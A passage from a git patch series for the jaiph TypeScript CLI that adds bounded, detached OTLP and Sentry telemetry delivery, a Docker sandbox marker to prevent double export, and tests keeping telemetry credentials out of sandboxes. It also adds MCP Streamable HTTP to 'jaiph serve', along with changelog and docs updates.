unbounded stderr growth. + */ +export interface TelemetryDeliveryMetrics { + otlpFailures: number; + sentryFailures: number; + warningsEmitted: number; + warningsSuppressed: number; } -/** OTLP/HTTP trace export half of the post-run hook. Enabled iff a traces endpoint is set. */ -async function exportOtlpTraces(opts: ExportRunTelemetryOptions): Promise { +const deliveryMetrics: TelemetryDeliveryMetrics = { + otlpFailures: 0, + sentryFailures: 0, + warningsEmitted: 0, + warningsSuppressed: 0, +}; + +/** Snapshot of the cumulative detached-delivery metrics (copy — never the live object). */ +export function telemetryDeliveryMetrics(): TelemetryDeliveryMetrics { + return { ...deliveryMetrics }; +} + +/** Max warning lines the detached path prints before suppressing (still counted). */ +const MAX_DELIVERY_WARNINGS = 100; + +/** Bounded stderr warner for the detached path: prints up to a cap, then counts silently. */ +function boundedDeliveryWarn(msg: string): void { + if (deliveryMetrics.warningsEmitted < MAX_DELIVERY_WARNINGS) { + process.stderr.write(msg); + deliveryMetrics.warningsEmitted += 1; + if (deliveryMetrics.warningsEmitted === MAX_DELIVERY_WARNINGS) { + process.stderr.write("jaiph: further telemetry delivery warnings suppressed (counted in metrics)\n"); + } + } else { + deliveryMetrics.warningsSuppressed += 1; + } +} + +/** + * Post-run hook for long-lived HTTP/MCP processes. Fire-and-forget: the caller + * has already marked the run terminal and released its execution-concurrency + * slot, so telemetry delivery cannot delay a terminal result or hold a slot. + * Failures are tracked as bounded metrics (`telemetryDeliveryMetrics`) with + * capped stderr warnings, never load-bearing on the run. + */ +export function deliverRunTelemetryDetached(opts: ExportRunTelemetryOptions): void { + void runExporters(opts, boundedDeliveryWarn) + .then(({ otlp, sentry }) => { + if (otlp === "failed") deliveryMetrics.otlpFailures += 1; + if (sentry === "failed") deliveryMetrics.sentryFailures += 1; + }) + .catch(() => { + // runExporters already swallows per-exporter failures; this guards only + // against an unexpected internal error so no rejection escapes. + }); +} + +/** + * OTLP/HTTP trace export half of the post-run hook. Enabled iff a traces + * endpoint is set. `timeoutMs` bounds the POST; `warn` receives the single + * failure/skip line. Returns the delivery outcome for metrics. + */ +export async function exportOtlpTraces( + opts: ExportRunTelemetryOptions, + timeoutMs: number, + warn: (msg: string) => void, +): Promise { const { runDir, workflow, exitStatus, signal, env } = opts; const endpoint = resolveOtlpEndpoint(env); - if (!endpoint) return; + if (!endpoint) return "skipped"; const protocol = env.OTEL_EXPORTER_OTLP_PROTOCOL?.trim(); if (protocol && protocol !== "http/json") { - process.stderr.write( + warn( `jaiph: OTLP trace export skipped — unsupported OTEL_EXPORTER_OTLP_PROTOCOL "${protocol}" (only http/json is supported)\n`, ); - return; + return "failed"; } - if (!runDir) return; + if (!runDir) return "skipped"; const summaryFile = join(runDir, "run_summary.jsonl"); - if (!existsSync(summaryFile)) return; + if (!existsSync(summaryFile)) return "skipped"; let lines: string[]; try { lines = readFileSync(summaryFile, "utf8").split("\n"); } catch { - return; + return "skipped"; } - if (lines.every((l) => l.trim().length === 0)) return; + if (lines.every((l) => l.trim().length === 0)) return "skipped"; const serviceName = env.OTEL_SERVICE_NAME?.trim() || "jaiph"; const resourceAttrs = { @@ -362,10 +469,10 @@ async function exportOtlpTraces(opts: ExportRunTelemetryOptions): Promise const headers = parseKeyValueList(env.OTEL_EXPORTER_OTLP_HEADERS); try { - await postOtlp(endpoint, payload, headers); + await postOtlp(endpoint, payload, headers, timeoutMs); + return "sent"; } catch (err) { - process.stderr.write( - `jaiph: OTLP trace export failed — ${err instanceof Error ? err.message : String(err)}\n`, - ); + warn(`jaiph: OTLP trace export failed — ${err instanceof Error ? err.message : String(err)}\n`); + return "failed"; } } diff --git a/src/cli/telemetry/sentry.test.ts b/src/cli/telemetry/sentry.test.ts index 60d8c2e5..54978422 100644 --- a/src/cli/telemetry/sentry.test.ts +++ b/src/cli/telemetry/sentry.test.ts @@ -125,7 +125,7 @@ test("buildEnvelope: three newline-separated JSON documents (header, item header // --- Enablement / failure gates (no network) ------------------------------- -async function captureStderr(fn: () => Promise): Promise { +async function captureStderr(fn: () => Promise): Promise { const captured: string[] = []; const original = process.stderr.write.bind(process.stderr); (process.stderr as unknown as { write: (s: string) => boolean }).write = (s: string) => { diff --git a/src/cli/telemetry/sentry.ts b/src/cli/telemetry/sentry.ts index 314a79d9..9b6f1fed 100644 --- a/src/cli/telemetry/sentry.ts +++ b/src/cli/telemetry/sentry.ts @@ -20,11 +20,16 @@ import { existsSync, readFileSync } from "node:fs"; import { basename, join } from "node:path"; import { VERSION } from "../../version"; import { postWithTimeout } from "./http"; -import type { ExportRunTelemetryOptions } from "./otlp"; +import type { ExportOutcome, ExportRunTelemetryOptions } from "./otlp"; -/** 10 s hard cap on the envelope POST, matching the OTLP exporter. */ +/** Default hard cap on the envelope POST when no flush budget is supplied. */ const SEND_TIMEOUT_MS = 10_000; +/** Default warning sink — a single stderr line, matching the OTLP exporter. */ +function stderrWarn(msg: string): void { + process.stderr.write(msg); +} + type JournalEvent = Record; /** A parsed DSN: where to POST and the auth header to send. */ @@ -160,35 +165,44 @@ export function buildEnvelope(event: Record, sentAt: string): s /** * Report a failed run to Sentry from the shared post-run hook. No-op on success * (only nonzero exit / a signal reports) and when `SENTRY_DSN` is unset. Any - * transport/HTTP/DSN failure produces exactly one stderr warning and nothing - * else — the run's exit code and output are untouched. + * transport/HTTP/DSN failure produces exactly one warning through `warn` + * (default: one stderr line) and nothing else — the run's exit code and output + * are untouched. Returns the delivery outcome so the caller can track failures + * as bounded metrics on the long-lived (detached) delivery path. + * + * `timeoutMs` bounds the envelope POST; callers pass the shared flush budget so + * OTLP and Sentry share one total budget when run concurrently. */ -export async function reportRunFailureToSentry(opts: ExportRunTelemetryOptions): Promise { +export async function reportRunFailureToSentry( + opts: ExportRunTelemetryOptions, + timeoutMs: number = SEND_TIMEOUT_MS, + warn: (msg: string) => void = stderrWarn, +): Promise { const { runDir, workflow, exitStatus, signal, env } = opts; // Fire only on an unsuccessful terminal state — successful runs send nothing. const runFailed = exitStatus !== 0 || signal != null; - if (!runFailed) return; + if (!runFailed) return "skipped"; const dsnRaw = env.SENTRY_DSN?.trim(); - if (!dsnRaw) return; // disabled + if (!dsnRaw) return "skipped"; // disabled const dsn = parseSentryDsn(dsnRaw); if (!dsn) { - process.stderr.write("jaiph: Sentry error report skipped — malformed SENTRY_DSN\n"); - return; + warn("jaiph: Sentry error report skipped — malformed SENTRY_DSN\n"); + return "failed"; } - if (!runDir) return; + if (!runDir) return "skipped"; const summaryFile = join(runDir, "run_summary.jsonl"); - if (!existsSync(summaryFile)) return; + if (!existsSync(summaryFile)) return "skipped"; let lines: string[]; try { lines = readFileSync(summaryFile, "utf8").split("\n"); } catch { - return; + return "skipped"; } - if (lines.every((l) => l.trim().length === 0)) return; + if (lines.every((l) => l.trim().length === 0)) return "skipped"; const release = env.SENTRY_RELEASE?.trim() || `jaiph@${VERSION}`; const environment = env.SENTRY_ENVIRONMENT?.trim() || undefined; @@ -200,11 +214,11 @@ export async function reportRunFailureToSentry(opts: ExportRunTelemetryOptions): dsn.endpoint, envelope, { "content-type": "application/x-sentry-envelope", "x-sentry-auth": dsn.authHeader }, - SEND_TIMEOUT_MS, + timeoutMs, ); + return "sent"; } catch (err) { - process.stderr.write( - `jaiph: Sentry error report failed — ${err instanceof Error ? err.message : String(err)}\n`, - ); + warn(`jaiph: Sentry error report failed — ${err instanceof Error ? err.message : String(err)}\n`); + return "failed"; } } diff --git a/src/runtime/docker.test.ts b/src/runtime/docker.test.ts index 36eccc28..247003f8 100644 --- a/src/runtime/docker.test.ts +++ b/src/runtime/docker.test.ts @@ -16,6 +16,7 @@ import { selectSandboxMode, selectMcpSandboxMode, RUN_WORKFLOW_ENV, + DOCKER_SANDBOX_ENV, cloneWorkspaceForSandbox, allocateSandboxWorkspaceDir, pullImageIfNeeded, @@ -431,6 +432,19 @@ test("buildDockerArgs: forwards JAIPH_ env vars, excludes JAIPH_DOCKER_*", () => assert.ok(!args.some((a) => a.includes("OTHER_VAR"))); }); +test("buildDockerArgs: always marks the inner run as the sandbox so it does not re-export telemetry", () => { + // The outer host process exports the run exactly once from the bind-mounted + // journal; the inner `jaiph run --raw` must skip export. Without this marker a + // `--env`-forwarded OTEL_*/SENTRY_* inside the container would double-export. + const args = buildDockerArgs(defaultOpts({ env: {} })); + const eFlags = args.filter((_, i) => args[i - 1] === "-e"); + assert.equal( + eFlags.filter((v) => v === `${DOCKER_SANDBOX_ENV}=1`).length, + 1, + "exactly one JAIPH_DOCKER_SANDBOX=1 marker is emitted", + ); +}); + test("buildDockerArgs: overrides JAIPH_WORKSPACE and JAIPH_RUNS_DIR", () => { const opts = defaultOpts({ env: { JAIPH_WORKSPACE: "/host/path", JAIPH_RUNS_DIR: "/host/runs" }, @@ -462,6 +476,27 @@ test("buildDockerArgs: a non-allowlisted key is dropped without extraEnv (fail-c assert.deepEqual(envArgsFor(args, "MY_TOKEN"), [], "MY_TOKEN must not cross the boundary by default"); }); +test("buildDockerArgs: OTEL_*/SENTRY_* stay operator-side unless explicitly passed as workflow env", () => { + // Telemetry config is host-side only; forwarding it into the sandbox would + // both leak operator secrets to workflow code and make the inner run + // re-export. The fail-closed allowlist drops them by default; an explicit + // --env (extraEnv) is the only way in — the documented escape hatch. + const dropped = buildDockerArgs( + defaultOpts({ env: { OTEL_EXPORTER_OTLP_ENDPOINT: "http://c:4318", SENTRY_DSN: "https://k@h/1" } }), + ); + assert.deepEqual(envArgsFor(dropped, "OTEL_EXPORTER_OTLP_ENDPOINT"), [], "OTEL_* not forwarded by default"); + assert.deepEqual(envArgsFor(dropped, "SENTRY_DSN"), [], "SENTRY_* not forwarded by default"); + + const forwarded = buildDockerArgs( + defaultOpts({ extraEnv: { OTEL_EXPORTER_OTLP_ENDPOINT: "http://c:4318" } }), + ); + assert.deepEqual( + envArgsFor(forwarded, "OTEL_EXPORTER_OTLP_ENDPOINT"), + ["OTEL_EXPORTER_OTLP_ENDPOINT=http://c:4318"], + "explicit --env is the only path into the sandbox", + ); +}); + test("buildDockerArgs: extraEnv forwards a non-allowlisted key as -e KEY=VALUE", () => { const args = buildDockerArgs( defaultOpts({ env: { MY_TOKEN: "ignored-host" }, extraEnv: { MY_TOKEN: "s3cret" } }), diff --git a/src/runtime/docker.ts b/src/runtime/docker.ts index 11abe1f3..fea2c4cd 100644 --- a/src/runtime/docker.ts +++ b/src/runtime/docker.ts @@ -694,6 +694,17 @@ export interface DockerSpawnOptions { export const CONTAINER_WORKSPACE = "/jaiph/workspace"; export const CONTAINER_RUN_DIR = "/jaiph/run"; +/** + * Container marker set by `buildDockerArgs` so the inner `jaiph run --raw` knows + * it is the host-orchestrated sandbox run and must NOT export telemetry: the + * outer host process already exports once from the bind-mounted journal. Without + * this, a `--env`-forwarded `OTEL_*`/`SENTRY_*` inside the container would make + * the sandbox re-export the same run. `JAIPH_DOCKER_*` is reserved against + * `--env` and excluded from the forwarding allowlist, so it is never + * user-settable and never auto-forwarded — this marker is emitted explicitly. + */ +export const DOCKER_SANDBOX_ENV = "JAIPH_DOCKER_SANDBOX"; + // The agent env allowlist lives in the kernel (`kernel/env-allowlist.ts`) so // the prompt backend spawn applies the same fail-closed policy in every // sandbox mode; re-exported here for the Docker boundary's existing consumers. @@ -861,6 +872,9 @@ export function buildDockerArgs(opts: DockerSpawnOptions): string[] { if (opts.workflowSymbol && opts.workflowSymbol !== "default") { args.push("-e", `${RUN_WORKFLOW_ENV}=${opts.workflowSymbol}`); } + // Mark the inner run as the host-orchestrated sandbox so it does not + // re-export telemetry — the outer host process exports this run exactly once. + args.push("-e", `${DOCKER_SANDBOX_ENV}=1`); args.push("-w", CONTAINER_WORKSPACE); args.push(opts.config.image); diff --git a/src/runtime/kernel/env-allowlist.test.ts b/src/runtime/kernel/env-allowlist.test.ts index 39ca7456..cc9220f0 100644 --- a/src/runtime/kernel/env-allowlist.test.ts +++ b/src/runtime/kernel/env-allowlist.test.ts @@ -35,6 +35,17 @@ test("scrubPromptEnv: drops an injected non-allowlisted secret, keeps base env", assert.equal(env.TMPDIR, "/tmp"); }); +test("scrubPromptEnv: operator telemetry config (OTEL_*/SENTRY_*) never reaches a prompt backend", () => { + const env = scrubPromptEnv( + { PATH: "/usr/bin", OTEL_EXPORTER_OTLP_ENDPOINT: "http://c:4318", OTEL_EXPORTER_OTLP_HEADERS: "authorization=Bearer x", SENTRY_DSN: "https://k@h/1" }, + "claude", + ); + assert.equal(env.OTEL_EXPORTER_OTLP_ENDPOINT, undefined); + assert.equal(env.OTEL_EXPORTER_OTLP_HEADERS, undefined, "OTLP auth header must not leak to the model"); + assert.equal(env.SENTRY_DSN, undefined); + assert.equal(env.PATH, "/usr/bin"); +}); + test("scrubPromptEnv: forwards only the backend's own credential keys", () => { const all = { ANTHROPIC_API_KEY: "anthropic-key", From 43c12653ccb821ccac2ad827acacab9bbd0239d0 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Sat, 25 Jul 2026 09:16:29 +0200 Subject: [PATCH 15/24] Feat: expose REST and MCP Streamable HTTP from one serve process Company deployments needed both protocols without running two processes; POST /mcp now shares jaiph serve's tools, run registry, concurrency, auth, and cancel contract with the existing REST API. Co-authored-by: Cursor --- CHANGELOG.md | 4 +- QUEUE.md | 18 -- docs/cli.md | 2 +- docs/deploy.md | 2 +- docs/mcp.md | 2 + docs/serve.md | 35 +++- e2e/test_all.sh | 1 + e2e/tests/147_serve_http_api.sh | 51 +++++ e2e/tests/150_k8s_deploy.sh | 31 +++ e2e/tests/151_serve_transports_docker.sh | 124 ++++++++++++ src/cli/commands/serve.ts | 12 +- src/cli/mcp/server.test.ts | 58 ++++++ src/cli/mcp/server.ts | 47 ++++- src/cli/serve/handler.test.ts | 241 +++++++++++++++++++++++ src/cli/serve/handler.ts | 218 ++++++++++++++++---- 15 files changed, 781 insertions(+), 65 deletions(-) create mode 100755 e2e/tests/151_serve_transports_docker.sh diff --git a/CHANGELOG.md b/CHANGELOG.md index 8ccca909..2796a56d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,7 +2,7 @@ ## Summary -- **Serve workflows over HTTP:** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so a CI job, a Kubernetes deployment, or any HTTP client can invoke tested workflows and inspect their runs — no MCP client or local jaiph install required. Bearer-token auth, a concurrency cap, per-run output caps, bounded run retention, and the same durable `.jaiph/runs/` records as `jaiph run` are built in, so a long-lived service stays within a bounded memory footprint. +- **Serve workflows over HTTP (and MCP over the same port):** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, **and** as MCP Streamable HTTP at `POST /mcp` — one process, one workflow generation, one bearer auth boundary, and one run registry for REST and MCP clients alike. A CI job, a Kubernetes deployment, a browser, or a remote MCP agent can invoke the same tested workflows and inspect their runs; `jaiph mcp` remains the stdio sibling for co-located clients. Bearer-token auth, a concurrency cap, per-run output caps, bounded run retention, and the same durable `.jaiph/runs/` records as `jaiph run` are built in, so a long-lived service stays within a bounded memory footprint. - **Export traces to an OTLP collector:** every run mode now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog — enabled by the standard `OTEL_EXPORTER_OTLP_ENDPOINT`. A standard `jaiph run`, a standalone `jaiph run --raw`, and workflows invoked through `jaiph mcp` / `jaiph serve` are all covered (a Docker-sandboxed run is still exported exactly once by the host). Export is host-side and end-of-run (it reads the run's already credential-redacted `run_summary.jsonl`), adds no runtime dependencies, and is never load-bearing: the OTLP and Sentry exporters run concurrently under one bounded flush budget (`JAIPH_TELEMETRY_FLUSH_MS`, default 10 s), and on long-lived `jaiph serve` / `jaiph mcp` processes delivery is detached so an unreachable backend can never delay a terminal result or hold an execution slot — an erroring collector produces one (bounded) stderr warning and leaves the run's exit code, output, and journal untouched. @@ -12,6 +12,8 @@ ## All changes +- **Feat — expose REST and MCP Streamable HTTP from one `jaiph serve` process:** `jaiph serve` was HTTP-only while `jaiph mcp` was stdio-only, so a company deployment that needed both protocols required two processes (and had no Kubernetes-addressable MCP endpoint). `ServeHandler` (`src/cli/serve/handler.ts`) now embeds the same `McpServer` protocol machine used by `jaiph mcp` and serves it at **`POST /mcp`** beside the existing REST/OpenAPI API — one tool generation, one run registry, one concurrency cap, one sandbox/env posture, one hot-reload generation tracker, and the same `JAIPH_SERVE_TOKEN` bearer boundary on both `/v1/*` and `/mcp`. `McpServer.handleLine(line, write?)` (`src/cli/mcp/server.ts`) gains an optional per-call write sink routed through `AsyncLocalStorage`, so concurrent HTTP POSTs never cross-talk while the stdio transport keeps using the constructor `write`. An MCP `tools/call` funnels through the shared `startRun` path (also used by `POST /v1/workflows/{name}/runs`), so the call appears in `GET /v1/runs`, streams at `GET /v1/runs/{id}/events`, and cancels via `POST /v1/runs/{id}/cancel` or `notifications/cancelled` / SSE hangup — and every cancel path marks the shared run `cancelled` (not a generic `failed` from the killed child's exit). Response shapes follow the Streamable HTTP transport: JSON-RPC replies as `application/json`, notifications as `202` with no body, `tools/call` with `Accept: text/event-stream` as SSE progress + result, and `GET`/`DELETE /mcp` as `405`. Reverse-proxy requirements (disable buffering on streaming routes, raise read/idle timeouts, terminate TLS, forward `Authorization`) are documented. Tests: `src/cli/mcp/server.test.ts` (per-call sink routing + concurrent progress isolation), `src/cli/serve/handler.test.ts` (initialize/list/call, shared registry + concurrency cap, auth, SSE progress, MCP cancel → `cancelled`, REST cancel of an MCP run, SSE hangup cancel), `e2e/tests/147_serve_http_api.sh` (same-process REST+MCP), `e2e/tests/151_serve_transports_docker.sh` (both transports from outside a published container), and `e2e/tests/150_k8s_deploy.sh` (both transports from outside the Kind pod, same bearer). Docs: [Serve workflows over HTTP](docs/serve.md) §8 + reverse-proxy section, [CLI — `jaiph serve`](docs/cli.md#jaiph-serve), [Serve workflows as MCP tools](docs/mcp.md) network-pointer, [Deploy](docs/deploy.md) same-Service-port note. + - **Fix — give every run mode complete, bounded telemetry behavior:** the telemetry hook covered a standard `jaiph run`, HTTP `jaiph serve` calls, and `jaiph mcp` calls, but a standalone `jaiph run --raw` bypassed it (the docs claimed every run was covered) and the two exporters were **awaited sequentially**, so two unreachable backends could hold a completed run — and, on a server, an occupied execution-concurrency slot — for up to two full timeouts. Four gaps closed. **`--raw` now exports:** `runWorkflowRaw` (`src/cli/commands/run.ts`) fires the shared `exportRunTelemetry` hook after the child exits, gated by the new exported `shouldExportRawTelemetry(env)` so a user-invoked standalone raw run exports exactly like a normal run, while the **inner** raw process of a host-orchestrated Docker run skips it — the outer host process is the single exporter for that run, so a container run is still exported exactly once (no double export). The gate reads the new `DOCKER_SANDBOX_ENV` marker (`JAIPH_DOCKER_SANDBOX`), which `buildDockerArgs` (`src/runtime/docker.ts`) now always sets as `-e …=1` on the container; it is covered by the `JAIPH_DOCKER_*` `--env` reservation and excluded from the forwarding allowlist, so it is never user-settable and never auto-forwarded. **Concurrent under one flush budget:** the shared hook now runs the OTLP-trace and Sentry exporters **concurrently** (`runExporters` in `src/cli/telemetry/otlp.ts`, `Promise.all`) under one total flush budget instead of awaiting them back-to-back, so the worst-case post-run flush is one budget, not two. The budget is configurable via the new `JAIPH_TELEMETRY_FLUSH_MS` (default `10000`; a non-positive or unparseable value falls back to the default — `resolveFlushBudgetMs`) and is threaded into both exporters: `postOtlp` and `reportRunFailureToSentry` now take a `timeoutMs` argument instead of each hard-coding a private 10 s cap. **Detached delivery on long-lived processes:** the shared call layer (`src/cli/exec/call.ts`, covering every MCP `tools/call` and HTTP `jaiph serve` invocation) now calls the new fire-and-forget `deliverRunTelemetryDetached` instead of awaiting `exportRunTelemetry`, so the caller marks the run terminal and releases its execution-concurrency slot **before** best-effort delivery — an unreachable backend can no longer delay a terminal result or hold a slot. Detached failures are tracked in bounded, cumulative counters (`telemetryDeliveryMetrics()` → `{otlpFailures, sentryFailures, warningsEmitted, warningsSuppressed}`) and warnings are capped at `MAX_DELIVERY_WARNINGS` (100) stderr lines before being counted silently, so a server pointed at a dead endpoint cannot grow stderr without bound. The one-shot callers (`jaiph run` completion and standalone `jaiph run --raw`), which must stay alive for the flush, still **await** `exportRunTelemetry`. Each exporter now returns an `ExportOutcome` (`sent` / `skipped` / `failed`) and takes an injectable `warn` sink so the detached path can meter failures. **Telemetry stays operator-side:** `OTEL_*` / `SENTRY_*` are host-only config and must never enter a workflow sandbox — the fail-closed prompt-env allowlist (`scrubPromptEnv`) already drops them and the Docker forwarding allowlist already excludes them; both are now pinned by tests (including the OTLP auth header in `OTEL_EXPORTER_OTLP_HEADERS`), and an explicit `--env` remains the only documented way in. Export failures still never change a workflow's output or exit status. Tests: `src/cli/commands/run.test.ts` (standalone raw exports, docker-inner raw skipped), `src/cli/telemetry/otlp.test.ts` (`resolveFlushBudgetMs` default/override/junk-fallback; two hanging exporters against a black-hole server finish in ~one budget, not two; `deliverRunTelemetryDetached` records both failures in bounded metrics and never throws), `src/runtime/docker.test.ts` (exactly one `JAIPH_DOCKER_SANDBOX=1` marker on the container; `OTEL_*`/`SENTRY_*` dropped by default and forwarded only via explicit `--env`), `src/runtime/kernel/env-allowlist.test.ts` (`scrubPromptEnv` never leaks `OTEL_*`/`SENTRY_*` — including the OTLP auth header — to a prompt backend), and expanded `integration/otlp-export.test.ts` / `integration/sentry-export.test.ts` (standard run, standalone raw run, MCP, and HTTP each produce one OTLP trace and one Sentry event on failure; a Docker-sandboxed run exports exactly once; an unreachable endpoint cannot delay an HTTP/MCP terminal result or occupied slot beyond a small tested bound). Docs: the every-run-mode coverage note and the concurrent-under-one-budget / detached-delivery / bounded-metrics paragraph in [Export traces to an OTLP collector](docs/observability.md), the `JAIPH_TELEMETRY_FLUSH_MS` row and the `JAIPH_DOCKER_SANDBOX` internal-Docker-only row in [Environment variables](docs/env-vars.md), and the telemetry-section note that the one Jaiph-owned knob bounds — but never enables — delivery. (Follow-up to the OTLP + Sentry telemetry work in this release.) - **Feat — one execution-policy contract across `jaiph run`, `jaiph serve`, and `jaiph mcp`:** the three commands now share a single flag surface, precedence order, consent model, and lifecycle-hook contract for the same execution engine, instead of `run` exposing sandbox flags while the long-lived servers required env vars and silently ignored anything they did not destructure (`jaiph serve --unsafe` and `jaiph mcp --inplace` parsed successfully but had **no effect**). **Shared flags:** `--workspace`, repeatable `--env KEY[=VALUE]`, `--inplace`, `--unsafe`, and `--yes`/`-y` mean the same thing in all three commands. `parseArgs` (`src/cli/shared/usage.ts`) now takes the invoking `command` and a `FLAG_COMMANDS` table maps each flag to the commands that accept it; a token that looks like a flag (`-…` before `--`) but belongs to another command is a **usage error that names the owner** (`--host is not a jaiph run flag (it belongs to jaiph serve)`), an unknown flag is rejected rather than swallowed as a positional (with a `jaiph run` hint to use `--` for dash-leading workflow args), and a bare `-` still stays positional. Display/transport options stay command-specific: `--target`/`--raw` remain `jaiph run` only, `--host`/`--port` remain `jaiph serve` only. **Precedence:** one documented order everywhere — CLI flags > `JAIPH_*` env vars > workflow runtime metadata > built-in defaults. A flag sets its `JAIPH_*` variable on the launched env for that process (`applySandboxFlags`, `src/cli/run/env.ts`), so the env layer stays the single source of truth sandbox resolution consumes. Contradictory posture is never resolved by precedence: `--inplace`/`JAIPH_INPLACE` together with `--unsafe`/`JAIPH_UNSAFE` fails with **`E_FLAG_CONFLICT` before anything is spawned**, in all three commands. **Resolve-once posture:** `resolveStartupPosture` (`src/cli/shared/generation.ts`) applies the server's sandbox flags, resolves Docker enablement + sandbox mode + the unsafe-host-only gate **once at startup** into a `StartupPosture`, and the shared `logStartupPosture` prints one notice (wording — and the consent story it states — cannot drift between modes). That posture is threaded to every call as an `ExecutionPosture` (`src/cli/exec/call.ts`): `callWorkflow` applies the same `applySandboxFlags` env normalization as `jaiph run` and `callWorkflowDocker` applies the resolved sandbox mode **verbatim** instead of re-deriving it from each call's env. The documented standalone-container exception is preserved — inside a container the container/pod *is* the sandbox, the runtime image bakes `JAIPH_UNSAFE=true`, and unsafe host-only proceeds with a one-line notice. **Consent:** `jaiph run` confirms `--inplace` and unsafe-host-only interactively (`--yes`/`JAIPH_INPLACE_YES` auto-confirms; required non-TTY); for `jaiph serve` / `jaiph mcp`, launching the server with the flag or env var **is** the consent (no prompt), and `--yes`/`JAIPH_INPLACE_YES` is recorded on every call's env. **One hook contract:** the four lifecycle events (`workflow_start`, `step_start`, `step_end`, `workflow_end`) now fire for direct `jaiph run`, HTTP `jaiph serve` runs, and `jaiph mcp` tool calls alike. The `step_start`/`step_end` payload builders were extracted into `stepStartHookPayload`/`stepEndHookPayload` (`src/cli/run/hooks.ts`) and shared by the run emitter and by `callWorkflow`'s `buildStepEventHandler`, which is passed to `attachOutputCollector` on **both** the host and Docker call paths so hook dispatch cannot diverge; `hooks.json` is loaded per generation (`loadMergedHooks` in `loadGeneration`) and re-read on each source reload. Mode differences are now explicit rather than accidental: `jaiph run --raw` and `jaiph test` are documented no-hook lanes. As part of unifying the contract, `workflow_start` now carries the **run id** in `workflow_id` in every mode (direct runs previously emitted it empty). Tests: `integration/exec-policy.test.ts` (new — a table-driven suite runs the same sandbox/env cases through all three modes and asserts the same effective child env and filesystem isolation, that `serve --unsafe`/`serve --inplace`/`mcp --unsafe`/`mcp --inplace` have tested effects, that conflicting posture fails before spawning, and that all four lifecycle hooks fire with the documented payloads for direct/HTTP/MCP), `src/cli/shared/generation-posture.test.ts` (new — the flag → posture mapping with injected docker seams), `src/cli/shared/usage.test.ts` (per-command flag scoping — shared flags parse identically for run/serve/mcp, another command's flags and unknown flags are usage errors, `--` passthrough and bare `-` untouched, and `printUsage` documents the shared precedence + consent once), and `src/cli/commands/run.test.ts` (`E_FLAG_CONFLICT` for `--inplace --unsafe` and for `--inplace` + `JAIPH_UNSAFE=true`, no docker exec or spawn invoked). Docs: a new [Precedence](docs/env-vars.md#precedence) section and updated `JAIPH_INPLACE` / `JAIPH_INPLACE_YES` / `JAIPH_UNSAFE` / `--env` rows in [Environment variables](docs/env-vars.md), the shared flag tables + usage-error and resolve-once notes for `jaiph run` / `jaiph mcp` / `jaiph serve` in [CLI](docs/cli.md), the precedence layer + `E_FLAG_CONFLICT` note in [Configuration](docs/configuration.md#precedence), the "one contract, three invocation modes" section and the corrected `workflow_start` payload in [Add a hook](docs/hooks.md), the sandbox-flag/precedence notes in [Serve workflows as MCP tools](docs/mcp.md) and [Serve workflows over HTTP](docs/serve.md), the hook-dispatch contract line in [Architecture](docs/architecture.md), and the shared execution-policy section in `printUsage`. diff --git a/QUEUE.md b/QUEUE.md index b2aaef93..d03ad21f 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,24 +14,6 @@ Process rules: *** -## Expose HTTP API and network MCP from one service process #dev-ready - -Today `jaiph serve` is HTTP-only and `jaiph mcp` is stdio-only. The same file can be exposed by two separate processes, but there is no single deployed company service that serves both protocols or a Kubernetes-addressable MCP endpoint. - -Scope: - -- Add standards-compliant MCP Streamable HTTP to `jaiph serve` on a documented path while retaining the existing REST/OpenAPI API. -- Reuse the same tool generation, hot reload, auth boundary, concurrency limiter, cancellation, sandbox/env policy, run IDs, artifacts, and telemetry for both transports. -- Keep `jaiph mcp` stdio for local clients; do not duplicate workflow execution logic. -- Document reverse-proxy requirements for streaming, timeouts, TLS, and authentication. - -Acceptance: - -- One process serves REST and MCP clients concurrently against the same workflow generation. -- MCP calls appear in the same run inspection API and obey the same concurrency and cancellation rules. -- Bearer auth protects both protocol surfaces on non-loopback binds. -- Docker and Kind integration tests exercise both transports from outside the container/pod. - ## Make service runs restart-safe and retry-safe #dev-ready Run artifacts are durable, but HTTP run discovery is only an in-memory map. Restarting the process makes completed run IDs unreachable, loses in-flight state, and makes client retries start duplicate expensive workflows. This is a single-process developer server, not yet a reliable company service contract. diff --git a/docs/cli.md b/docs/cli.md index 8b3244d4..7263d71b 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -400,7 +400,7 @@ The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, - `JAIPH_SERVE_TOKEN` (env only) enables a bearer token required on every `/v1/*` request, compared in constant time. `/healthz`, `/openapi.json`, and `/docs` stay unauthenticated (schema metadata only). On loopback the token is optional; binding a non-loopback `--host` without it is a startup error. - `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs; requests beyond it get `429`. - `JAIPH_SERVE_MAX_ARTIFACT_BYTES` (default `0` = no cap) refuses artifact downloads larger than the limit with `413`. Downloads stream with backpressure regardless, so the default keeps server memory bounded no matter the file size; set a finite cap only to reject oversized downloads outright. -- Memory bounds keep a long-lived server from growing without limit: `JAIPH_SERVE_MAX_OUTPUT_BYTES` (default 1 MiB) caps collected stdout, stderr, log output, and the resident `result_text` per run (overflow dropped with a truncation marker); `JAIPH_SERVE_RETAIN_RUNS` (default `500`) and `JAIPH_SERVE_RETAIN_AGE_SEC` (default `86400`, `0` disables) bound how many completed runs stay in the in-memory registry, evicting the oldest terminal records first. **Active runs are never evicted**, and eviction drops only the in-memory record — durable `.jaiph/runs` journals and artifacts persist on disk and are the operator's to prune. See [Serve workflows over HTTP](serve.md#8-bound-memory-over-a-long-lived-server). +- Memory bounds keep a long-lived server from growing without limit: `JAIPH_SERVE_MAX_OUTPUT_BYTES` (default 1 MiB) caps collected stdout, stderr, log output, and the resident `result_text` per run (overflow dropped with a truncation marker); `JAIPH_SERVE_RETAIN_RUNS` (default `500`) and `JAIPH_SERVE_RETAIN_AGE_SEC` (default `86400`, `0` disables) bound how many completed runs stay in the in-memory registry, evicting the oldest terminal records first. **Active runs are never evicted**, and eviction drops only the in-memory record — durable `.jaiph/runs` journals and artifacts persist on disk and are the operator's 